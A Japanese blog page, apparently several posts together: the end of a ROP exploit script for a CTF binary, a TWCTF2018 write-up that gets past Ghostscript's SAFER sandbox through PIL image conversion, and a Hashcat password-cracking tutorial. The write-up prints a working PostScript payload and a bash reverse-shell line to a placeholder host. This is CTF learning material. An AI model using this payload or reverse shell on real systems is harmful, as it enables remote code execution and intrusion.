neg_r12 # At this point, r12+rbx*8 points ret by reg overflow r13 = rdx_val r14 = rsi_val r15 = dummy_val # payload construction payload = p64(csu_init2) payload += p64(rbx) payload += p64(rbp) payload += p64(r12) payload += p64(r13) payload += p64(r14) payload += p64(r15) payload += p64(csu_init1) payload += p64(dummy_val) # for add rsp,0x8 payload += p64(dummy_val) # rbx payload += p64(dummy_val) # rbp payload += p64(dummy_val) # r12 payload += p64(dummy_val) # r13 payload += p64(dummy_val) # r14 payload += p64(dummy_val) # r15 payload += set_rdi(rdi_val) # can't set rdi but gadget exists! return payload # payload construction payload = 'A' * 0x30 + p64(rbp) # padding # call open pts => fd = 0 payload += set_rdi_rsi(pts_path_addr, constants.O_RDWR) # 0x2702 payload += p64(elf.plt['open']) # call open pts => fd 1 payload += set_rdi_rsi(pts_path_addr, constants.O_RDWR) # 0x2702 payload += p64(elf.plt['open']) # call open flag => fd 2 payload += set_rdi_rsi(flag_path_addr, constants.O_RDONLY) payload += p64(elf.plt['open']) # read flag to global by fgets payload += set_rdi_rsi_rdx(2, bss, 0x100) payload += p64(elf.plt['read']) # puts flag to pts payload += set_rdi(bss) payload += p64(elf.plt['puts']) print() if args.WAIT: time.sleep(5) io.sendline(stdin_path + '\0' + pts_path + '\0' + flag_txt + '\0' + p64(ret)) io.sendline('0') # offset 0 io.sendline(str(len(payload))) # payload length io.clean() io.sendline(payload) io.interactive()
TWCTF2018の反省 Slacki Emoji Converter
Slack Emoji Converterの復習
解けなかったので再チャレンジ、ヒント貰ったりWriteup見ながらやった。
まず問題文中で示されているURLにアクセス。 画像を変換するっぽい感じのページが出てくるが、とりあえずソースを見る。 html中にコメントアウトされた/sourceというリンクがあるので、アクセスしてみるとソースコードが見れる。 それをダウンロード。
内容はPythonのflaskのコードだった、このWebサービス自体のコードっぽい。 それによると、/convにPOSTで投げた画像をPILを使って読み込み、縮小して返していることが分かる。 変換コードはこんな感じ。
@app.route('/conv', methods=['POST']) def conv(): f = request.files.get('image', None) if not f: return redirect(url_for('index')) ext = f.filename.split('.')[-1] fname = tempfile.mktemp("emoji") fname = "{}.{}".format(fname, ext) f.save(fname) img = Image.open(fname) w, h = img.size r = 128/max(w, h) newimg = img.resize((int(w*r), int(h*r))) newimg.save(fname) response = make_response() response.data = open(fname, "rb").read() response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename) os.unlink(fname) return response
攻撃ポイントは画像とファイル名くらいだったので色々考えてみたが分からなかった。 ここで詰まったのでヒントを貰った、ライブラリの脆弱性を探すと良いらしい。 色々調べてみると、PostScriptをPILで読み込むと内部でghostscriptが使われるらしく、それを利用してghostscriptの脆弱性を攻撃できるっぽいことが分かった。
GhostButt CVE-2017-8291が使える気がしたが何故か刺さらなかった、後で調べても使えそうな気がしたけどどっかでエラーを起こしてる。 これは後で検証する。
ここでもうwriteupを見た、実際は別のもっと新しい脆弱性を使うらしい。 https://kingx.me/latest-vulns/に載ってた。
ここで脆弱性の説明をする前にghostscriptの説明。 ghostscriptにはSAFERと呼ばれるサンドボックス機能がありPILはそれを使用しているが、これを回避できる脆弱性がいくつかある。 今回使った脆弱性は、保存されたインタープリターの状態を復元するrestoreコマンドが失敗すると、権限/invalidaccessをチェックする機能がそれ以降働かなくなる(おそらく状態を中途半端に復元して変更してしまうためだろうか?)ので、任意のコマンドを実行できるようになるというものである。 これにより任意のコマンド(PoCだとidコマンド)を実行できる。 PoCコードは以下
%!PS userdict /setpagedevice undef % userdictという辞書からsetpagedeviceという名前を削除 save % スタックに状態を保存 legal % ページ設定、サイズをlegalに % 無名関数をスタックに積み、stoppedが実行。null restoreはエラーを起こし、stoppedがtrueになりpopが実行される { null restore } stopped { pop } if % 正常な処理、これはなくても良さそう。要検証 { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops % restoreが失敗したあと何故か/invalidaccessのチェックが働かないバグがあるため、本来なら実行できない % 意味としては、現在のデバイスの/OutputFileプロパティにパイプしたコマンド実行を設定しろという意味? % この結果コマンドが実行されるっぽい
普通にポート開けてアクセスしようとしたがそれは弾かれたので、リバースシェルする。
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/"your_ip_addr"/"your_favorite_port" 0>&1') currentdevice putdeviceprops
という感じになる。 リモートにはPythonもあるのでそれでも良いかも、好きな方をどうぞ。
流れとしては 1. リバースシェルを起動するpostscriptファイルを作成 2. リバースシェルを待ち受けしておく 3. Slack Emoji Serviceにpostscriptファイルをドラッグ&ドロップ、convert 4. 待ち受けたリバースシェルからシステムにアクセス という感じ。
フラグはルートにあるflagの中にある。
色々調べたことをメモ代わりに残しておく。Postscriptにちょっと詳しくなってしまった。
Ghostscript
Ghostscript(ゴーストスクリプト)は、PostScript や Portable Document Format (PDF) などアドビシステムズのページ記述言語用のインタプリタおよび、それを基にしたソフトウェアパッケージのことである。フリーソフトウェアとして配布されている。
要はPostScriptを画像に変換するのに使われるソフトウェア。
PythonのPILではPostScriptファイルを読み込むときghostscript(gs
コマンド)を実行して画像に変換している。
PIL
参考サイト
参考にしたサイトによると、以下のような呼び出しをしているらしい。
command = ["gs", "-q", # quiet mode "-g%dx%d" % size, # set output geometry (pixels) "-r%fx%f" % res, # set input DPI (dots per inch) "-dBATCH", # exit after processing "-dNOPAUSE", # don't pause between pages, "-dSAFER", # safe mode "-sDEVICE=ppmraw", # ppm driver "-sOutputFile=%s" % outfile, # output file "-c", "%d %d translate" % (-bbox[0], -bbox[1]), # adjust for image origin "-f", infile, # input file ]
-dSAFER
というのが特に重要で、ghostscriptのアクセス制限を有効にするオプションである。
SAFER
manページを一部抜粋
SAFER MODE The -dSAFER option disables the "deletefile" and "renamefile" operators and prohibits opening piped commands ("%pipe%cmd"). Only "%stdout" and "%stderr" can be opened for writing. It also disables reading from files, except for "%stdin", files given as a command line argument, and files contained in paths given by LIBPATH and FONTPATH or specified by the system params /FontResourceDir and /GenericResourceDir.
見てみると(%pipe%cmd)
でコマンドが実行できるが、SAFERだとそれを制限できるみたいなことが書いてある。
SAFERが有効だと、Postscriptはファイルを削除したりコマンドを実行したりできないサンドボックス環境で実行されることになる。
が、実際にはこのSAFERをバイパスできる脆弱性がいくつかある。
Ghostbutt
参考サイト
- https://paper.seebug.org/310/
- 脆弱性に関するissue https://github.com/rapid7/metasploit-framework/pull/8316
- バグに関するissue https://bugs.ghostscript.com/show_bug.cgi?id=697808
CVE-2017-8291
GhostscriptでSAFERをバイパスできる脆弱性のひとつ、直訳で"幽霊の尻"。 検索して出てきたサイトには何故かSCPの動画があった。 ghostscript9.21の型の混乱によるエラーが原因らしい。
なんとmsfにモジュールがある。
exploit/unix/fileformat/ghostscript_type_confusion
参考サイトを翻訳かけながら解読して、以下のような感じだということが分かった。
.eqproc演算子の実装に脆弱性がある。 .eqproc演算子は演算子スタックから2つのオペランドを取り出して比較し、結果を演算子スタックにプッシュする
<proc1> <proc2> .eqproc <bool>
オペランドの型は検査されていないので、オペレータスタック上の値もオペランドとして比較することができるらしい。
=> この辺りは良く分からないが、要は演算子と非演算子の区別を付けずに引数として扱ってしまうということだろうか?
ループを通して.eqprocを呼び出すと、型の取り違えでオペレータスタックのスタックポインタがオーバーフローする可能性がある。 スタック操作などの後続の書き込みは、制限された書き込みprimitiveになる(?)。
それで色々やると回避できるとか何とか。
PostScript
参考サイト
- http://www.tailrecursive.org/postscript/operators.html
- http://www.tailrecursive.org/postscript/
- http://d.hatena.ne.jp/dayflower/20100203/1265185183
- https://www-cdf.fnal.gov/offline/PostScript/PLRM2.pdf
- https://ghostscript.com/doc/current/Language.htm
PostScriptも一応調べた。
スタックベースの言語で一応チューリング完全。 Forth言語に似ていて、Lispっぽいデータ構造を使うらしい。 Ghostscriptの実装だと、osbot, osp, ostopはそれぞれオペレータ用のスタックのベース、スタックポインタ、スタックトップを示している。 スタック自体はヒープ領域に確保される。
後置記法になってる。 数値などを書くとスタックに積まれていく、命令があるとスタックに積んだ値を対象に処理を行う。
実際に刺さった新しい方の脆弱性
参考にしたサイト
- https://kingx.me/latest-vulns/
- https://www.kb.cert.org/vuls/id/332928
- https://seclists.org/oss-sec/2018/q3/144
- https://www.exploit-db.com/exploits/45243/
ghostbuttとはまったく関係ない脆弱性だった。 PoC再掲。
%!PS userdict /setpagedevice undef % userdictという辞書からsetpagedeviceという名前を削除 save % スタックに状態を保存 legal % ページ設定、サイズをlegalに % 無名関数をスタックに積み、stoppedが実行。null restoreはエラーを起こし、stoppedがtrueになりpopが実行される { null restore } stopped { pop } if % 正常な処理、これはなくても良さそう。要検証 { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops % restoreが失敗したあと何故か/invalidaccessが働かないバグがあるため、本来なら実行できない % 意味としては、現在のデバイスの/OutputFileプロパティにパイプしたコマンド実行を設定しろという意味? % この結果実行されるっぽい
/invalidaccess のチェックはrestoreが失敗したあとは働かない。 エラーハンドリングの中ではSAFERのサンドボックス内でもシェルコマンドの実行ができる。
# 符号化方式を識別するプログラムを作った
符号化方式を識別するプログラムを作った
https://github.com/4hiziri/detect-encode
TWCTF2018中に色々血迷って試行錯誤してるときに作った簡単なツール。 Base32とか、uuencodeとかの識別を文字の種類から識別する。 もうちょっと使いやすくしたい。
Hashcat 使い方
Hashcat
JohnTheRipperと比べたときの利点
JohnTheRipperだとハッシュファイルを作成して形式を合わせる必要があってやや面倒。 hashcatだとハッシュ値を直接引数に渡せて便利。
ヘルプがとても親切で見やすい。
Hashcat 使い方
例で使ってるハッシュ値はecho -n "xxxx" | md5sum
を使って生成してる。
別にsha1でもsha2でも良いが、-n
を付けないと改行が入ってうまく解析できなくなるので注意。
一度クラックしたハッシュは保存されるので、繰り返し試すのに向いていない。
~/.hashcat/hashcat.potfile
内にクラックしたハッシュが保存されているので、試すときは適宜削除しよう。
--remove
オプションもあったが使い方が分からなかった。
単純なクラック
基本的には-m
オプションでハッシュ形式の指定、-a
オプションで攻撃モードの指定、そしてハッシュ値を渡す。
結果の表示には--show
オプションを使用する。
下はブルートフォースする例
# echo -n 'hello' | md5sum # -m 0: md5 # -a 3: ブルートフォース # hashcat --helpでハッシュの種類のIDが見れる hashcat -a 3 -m 0 5d41402abc4b2a76b9719d911017c592 # 結果の表示 hashcat -a 3 -m 0 5d41402abc4b2a76b9719d911017c592 --show # => 5d41402abc4b2a76b9719d911017c592:hello
ヘルプの表示
--help
、普通。
でも表示がとても親切なのでJohnより分かりやすい。
辞書攻撃
-a 0
を指定すると辞書攻撃ができる。
# echo -n 'P@ssw0rd' | md5sum hashcat -a 0 -m 0 161ebd7d45089b3446ee4e0d86dbcf92 rockyou.txt
2つの辞書を組み合わせて、あたらしくワードを作って攻撃することもできる。 最初に指定した辞書が左側、後に指定した辞書が右側になる(見た目の位置と一致するので分かりやすい)。
ルールによる変換
ワードリスト中の単語の先頭を大文字にするとか、3回繰り返すとかのルールを設定して攻撃できる。
どういうルールがあるかは公式のリファレンスを見よう。
攻撃モードが0、6、7で使うことができる。
ルールの指定は-j, -k, -r
で指定できる。
-j, -k
ではそれぞれ左の辞書、右の辞書の単一のルールを指定できる。
-r
ではルールが書かれたファイルを指定することができて、複数のルールを同時に試行できる。
単一の辞書に単一のルールを適用する例
# echo -n 'P@SSW0RD' | md5sum # -j u: ワード中のアルファベットを大文字にするルール hashcat -a 0 -m 0 -j u b46f685f85e0af830d82ddbbe795eff3 rockyou.txt
マスク
マスクによって使う文字の種類と位置を指定してブルートフォースを実行できる。 どういう指定ができるかは公式のリファレンスを見よう。
4ケタの数字のハッシュをクラックする例。
# echo -n '1231' | md5sum # ?d: 数字、?d?d?d?dで4ケタの数字を意味する hashcat -a 3 -m 0 6c14da109e294d1e8155be8aa4b1ce8e '?d?d?d?d'
その他
基本的な使い方はこんな感じになる。 他にもOpenCL使って高速化したりできる。